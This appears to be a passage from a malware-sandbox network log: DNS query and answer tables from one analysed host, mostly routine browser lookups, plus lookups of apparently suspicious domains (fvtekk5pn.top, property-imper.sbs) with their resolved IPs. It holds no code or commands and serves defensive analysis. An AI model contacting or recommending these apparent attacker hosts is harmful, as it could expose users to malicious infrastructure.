Nov 24, 2024 02:14:39.655077934 CET	192.168.2.4	1.1.1.1	0x8bba	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 02:14:42.265028000 CET	192.168.2.4	1.1.1.1	0x1aa8	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:42.265086889 CET	192.168.2.4	1.1.1.1	0x4d57	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 02:14:46.526551008 CET	192.168.2.4	1.1.1.1	0x1bb6	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.643433094 CET	192.168.2.4	1.1.1.1	0x9bc3	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.715441942 CET	192.168.2.4	1.1.1.1	0x4676	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.778340101 CET	192.168.2.4	1.1.1.1	0x1c99	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.887650013 CET	192.168.2.4	1.1.1.1	0xccbb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.892458916 CET	192.168.2.4	1.1.1.1	0x25b5	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.915431976 CET	192.168.2.4	1.1.1.1	0x37f9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.963438034 CET	192.168.2.4	1.1.1.1	0x1769	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.082596064 CET	192.168.2.4	1.1.1.1	0x2ff4	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.083307028 CET	192.168.2.4	1.1.1.1	0xd844	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.101620913 CET	192.168.2.4	1.1.1.1	0x86a8	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.103440046 CET	192.168.2.4	1.1.1.1	0x99cb	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.105797052 CET	192.168.2.4	1.1.1.1	0x80bf	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.155437946 CET	192.168.2.4	1.1.1.1	0x2e70	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.188958883 CET	192.168.2.4	1.1.1.1	0x2004	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.222313881 CET	192.168.2.4	1.1.1.1	0xb6f9	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.242283106 CET	192.168.2.4	1.1.1.1	0x9ba3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.249985933 CET	192.168.2.4	1.1.1.1	0x2332	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.250220060 CET	192.168.2.4	1.1.1.1	0x1263	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.409923077 CET	192.168.2.4	1.1.1.1	0x9665	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.409923077 CET	192.168.2.4	1.1.1.1	0x5ea2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.476233959 CET	192.168.2.4	1.1.1.1	0x84ae	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.548592091 CET	192.168.2.4	1.1.1.1	0xb392	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.557198048 CET	192.168.2.4	1.1.1.1	0x284d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.618033886 CET	192.168.2.4	1.1.1.1	0xd3a8	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.732260942 CET	192.168.2.4	1.1.1.1	0x4d45	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.732738972 CET	192.168.2.4	1.1.1.1	0xda3d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.814992905 CET	192.168.2.4	1.1.1.1	0x739b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:58.877966881 CET	192.168.2.4	1.1.1.1	0x1c24	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:59.139204025 CET	192.168.2.4	1.1.1.1	0x9e5b	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.147656918 CET	192.168.2.4	1.1.1.1	0xc19a	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.168426037 CET	192.168.2.4	1.1.1.1	0x6d66	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.168680906 CET	192.168.2.4	1.1.1.1	0xc208	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.171351910 CET	192.168.2.4	1.1.1.1	0x64be	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.299405098 CET	192.168.2.4	1.1.1.1	0x3b29	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.309312105 CET	192.168.2.4	1.1.1.1	0xfd6d	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.446580887 CET	192.168.2.4	1.1.1.1	0xe07	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:59.456393003 CET	192.168.2.4	1.1.1.1	0x7e6b	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:59.471122980 CET	192.168.2.4	1.1.1.1	0x18e	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.586200953 CET	192.168.2.4	1.1.1.1	0x59f1	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.595614910 CET	192.168.2.4	1.1.1.1	0x5c4a	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.729279995 CET	192.168.2.4	1.1.1.1	0xbb1d	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.745610952 CET	192.168.2.4	1.1.1.1	0x2b23	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.790782928 CET	192.168.2.4	1.1.1.1	0x65a3	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.883897066 CET	192.168.2.4	1.1.1.1	0xa2de	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 24, 2024 02:15:59.930341959 CET	192.168.2.4	1.1.1.1	0xbb1d	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.986850977 CET	192.168.2.4	1.1.1.1	0xb0a6	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 24, 2024 02:15:59.989389896 CET	192.168.2.4	1.1.1.1	0x65a3	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.105622053 CET	192.168.2.4	1.1.1.1	0xe11d	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 24, 2024 02:16:00.189043999 CET	192.168.2.4	1.1.1.1	0xb0a6	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 24, 2024 02:16:00.289413929 CET	192.168.2.4	1.1.1.1	0xe11d	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 24, 2024 02:16:03.292196989 CET	192.168.2.4	1.1.1.1	0xa5ba	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:03.429625988 CET	192.168.2.4	1.1.1.1	0x3fea	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:03.570874929 CET	192.168.2.4	1.1.1.1	0x8e6c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:16:03.774538040 CET	192.168.2.4	1.1.1.1	0x8e6c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:16:04.938930035 CET	192.168.2.4	1.1.1.1	0x74fb	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:16:08.741157055 CET	192.168.2.4	1.1.1.1	0xb185	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:08.741277933 CET	192.168.2.4	1.1.1.1	0x91b4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 02:16:12.505364895 CET	192.168.2.4	1.1.1.1	0xa9a0	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:12.505497932 CET	192.168.2.4	1.1.1.1	0xa847	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 02:16:16.249963999 CET	192.168.2.4	1.1.1.1	0xa452	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:16:21.665883064 CET	192.168.2.4	1.1.1.1	0x8115	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.685501099 CET	192.168.2.4	1.1.1.1	0xe524	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 02:16:26.689805031 CET	192.168.2.4	1.1.1.1	0x9a27	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.744590998 CET	192.168.2.4	1.1.1.1	0x4285	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.887147903 CET	192.168.2.4	1.1.1.1	0x9a27	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.921567917 CET	192.168.2.4	1.1.1.1	0x5158	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.934623003 CET	192.168.2.4	1.1.1.1	0x4285	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.059756994 CET	192.168.2.4	1.1.1.1	0x8fa9	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 24, 2024 02:16:27.077570915 CET	192.168.2.4	1.1.1.1	0x80bf	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.220397949 CET	192.168.2.4	1.1.1.1	0xe377	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:16:37.565642118 CET	192.168.2.4	1.1.1.1	0xfadd	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:37.703797102 CET	192.168.2.4	1.1.1.1	0x9cd3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:16:38.793670893 CET	192.168.2.4	1.1.1.1	0xaec3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:51.947516918 CET	192.168.2.4	1.1.1.1	0x63cc	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:52.144577980 CET	192.168.2.4	1.1.1.1	0x63cc	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:56.471292973 CET	192.168.2.4	1.1.1.1	0xca6a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:17:17.750899076 CET	192.168.2.4	1.1.1.1	0x9ab2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:18.796525955 CET	192.168.2.4	1.1.1.1	0xc85a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:18.937273979 CET	192.168.2.4	1.1.1.1	0x20e1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:17:37.371573925 CET	192.168.2.4	1.1.1.1	0xd841	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:43.972935915 CET	192.168.2.4	1.1.1.1	0xfc3	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:43.973023891 CET	192.168.2.4	1.1.1.1	0xad33	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 02:18:00.440256119 CET	192.168.2.4	1.1.1.1	0x1103	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:00.440355062 CET	192.168.2.4	1.1.1.1	0x27e2	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 02:18:40.329987049 CET	192.168.2.4	1.1.1.1	0xfd6	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:40.478905916 CET	192.168.2.4	1.1.1.1	0x8a1c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:40.617440939 CET	192.168.2.4	1.1.1.1	0x22ba	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:18:41.884238005 CET	192.168.2.4	1.1.1.1	0xc609	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:53.987257957 CET	192.168.2.4	1.1.1.1	0x6158	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:58.055094004 CET	192.168.2.4	1.1.1.1	0x8f40	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:20:00.456510067 CET	192.168.2.4	1.1.1.1	0xb067	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:00.456770897 CET	192.168.2.4	1.1.1.1	0xb216	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 02:20:57.828263998 CET	192.168.2.4	1.1.1.1	0xfbd9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:57.967895985 CET	192.168.2.4	1.1.1.1	0x6cc2	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:20:59.097767115 CET	192.168.2.4	1.1.1.1	0xb1b2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:59.290663958 CET	192.168.2.4	1.1.1.1	0xb1b2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:21.909951925 CET	192.168.2.4	1.1.1.1	0xa7f2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:22.047882080 CET	192.168.2.4	1.1.1.1	0x9a5a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:22.186463118 CET	192.168.2.4	1.1.1.1	0x7e0a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:21:48.467602968 CET	192.168.2.4	1.1.1.1	0xebb8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:00.478506088 CET	192.168.2.4	1.1.1.1	0xae2d	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:00.478584051 CET	192.168.2.4	1.1.1.1	0x9270	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 02:22:04.809423923 CET	192.168.2.4	1.1.1.1	0xf2b9	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 02:22:06.098107100 CET	192.168.2.4	1.1.1.1	0xaf68	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:06.431889057 CET	192.168.2.4	1.1.1.1	0x4440	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 02:13:12.345999002 CET	1.1.1.1	192.168.2.4	0x497e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 02:13:12.346050978 CET	1.1.1.1	192.168.2.4	0xd9f9	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:13:33.514122009 CET	1.1.1.1	192.168.2.4	0xf7a8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:13:33.514122009 CET	1.1.1.1	192.168.2.4	0xf7a8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:06.215472937 CET	1.1.1.1	192.168.2.4	0x18ec	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:31.480473995 CET	1.1.1.1	192.168.2.4	0x7173	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:34.262976885 CET	1.1.1.1	192.168.2.4	0x2a03	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:39.791987896 CET	1.1.1.1	192.168.2.4	0x8bba	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 02:14:39.792491913 CET	1.1.1.1	192.168.2.4	0xefab	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:42.402493954 CET	1.1.1.1	192.168.2.4	0x1aa8	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:46.663986921 CET	1.1.1.1	192.168.2.4	0x1bb6	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:46.663986921 CET	1.1.1.1	192.168.2.4	0x1bb6	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.774121046 CET	1.1.1.1	192.168.2.4	0xeed2	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.781058073 CET	1.1.1.1	192.168.2.4	0x9bc3	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.852689981 CET	1.1.1.1	192.168.2.4	0x4676	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:57.852689981 CET	1.1.1.1	192.168.2.4	0x4676	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:57.915879011 CET	1.1.1.1	192.168.2.4	0x1c99	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.025716066 CET	1.1.1.1	192.168.2.4	0xccbb	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.031502008 CET	1.1.1.1	192.168.2.4	0x25b5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.052303076 CET	1.1.1.1	192.168.2.4	0x37f9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.219157934 CET	1.1.1.1	192.168.2.4	0x2ff4	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:58.220751047 CET	1.1.1.1	192.168.2.4	0xd844	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 02:15:58.239037037 CET	1.1.1.1	192.168.2.4	0xeba1	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.239037037 CET	1.1.1.1	192.168.2.4	0xeba1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.239209890 CET	1.1.1.1	192.168.2.4	0x86a8	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.239209890 CET	1.1.1.1	192.168.2.4	0x86a8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.241307020 CET	1.1.1.1	192.168.2.4	0x99cb	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.241307020 CET	1.1.1.1	192.168.2.4	0x99cb	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.241307020 CET	1.1.1.1	192.168.2.4	0x99cb	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.242696047 CET	1.1.1.1	192.168.2.4	0x80bf	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.325819969 CET	1.1.1.1	192.168.2.4	0x2004	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.358087063 CET	1.1.1.1	192.168.2.4	0xaa7d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.358975887 CET	1.1.1.1	192.168.2.4	0xb6f9	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.358975887 CET	1.1.1.1	192.168.2.4	0xb6f9	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.377999067 CET	1.1.1.1	192.168.2.4	0x2e70	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:58.387363911 CET	1.1.1.1	192.168.2.4	0x2332	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.473295927 CET	1.1.1.1	192.168.2.4	0x9ba3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.547265053 CET	1.1.1.1	192.168.2.4	0x9665	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.685569048 CET	1.1.1.1	192.168.2.4	0xb392	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.695055962 CET	1.1.1.1	192.168.2.4	0x284d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 02:15:58.755080938 CET	1.1.1.1	192.168.2.4	0xd3a8	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:58.869626999 CET	1.1.1.1	192.168.2.4	0xda3d	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.276045084 CET	1.1.1.1	192.168.2.4	0x9e5b	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.284866095 CET	1.1.1.1	192.168.2.4	0xc19a	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:59.284866095 CET	1.1.1.1	192.168.2.4	0xc19a	No error (0)	star-mini.c10r.facebook.com		157.240.195.35	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.305288076 CET	1.1.1.1	192.168.2.4	0x6d66	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.305469036 CET	1.1.1.1	192.168.2.4	0xc208	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.305469036 CET	1.1.1.1	192.168.2.4	0xc208	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.308783054 CET	1.1.1.1	192.168.2.4	0x64be	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:59.308783054 CET	1.1.1.1	192.168.2.4	0x64be	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
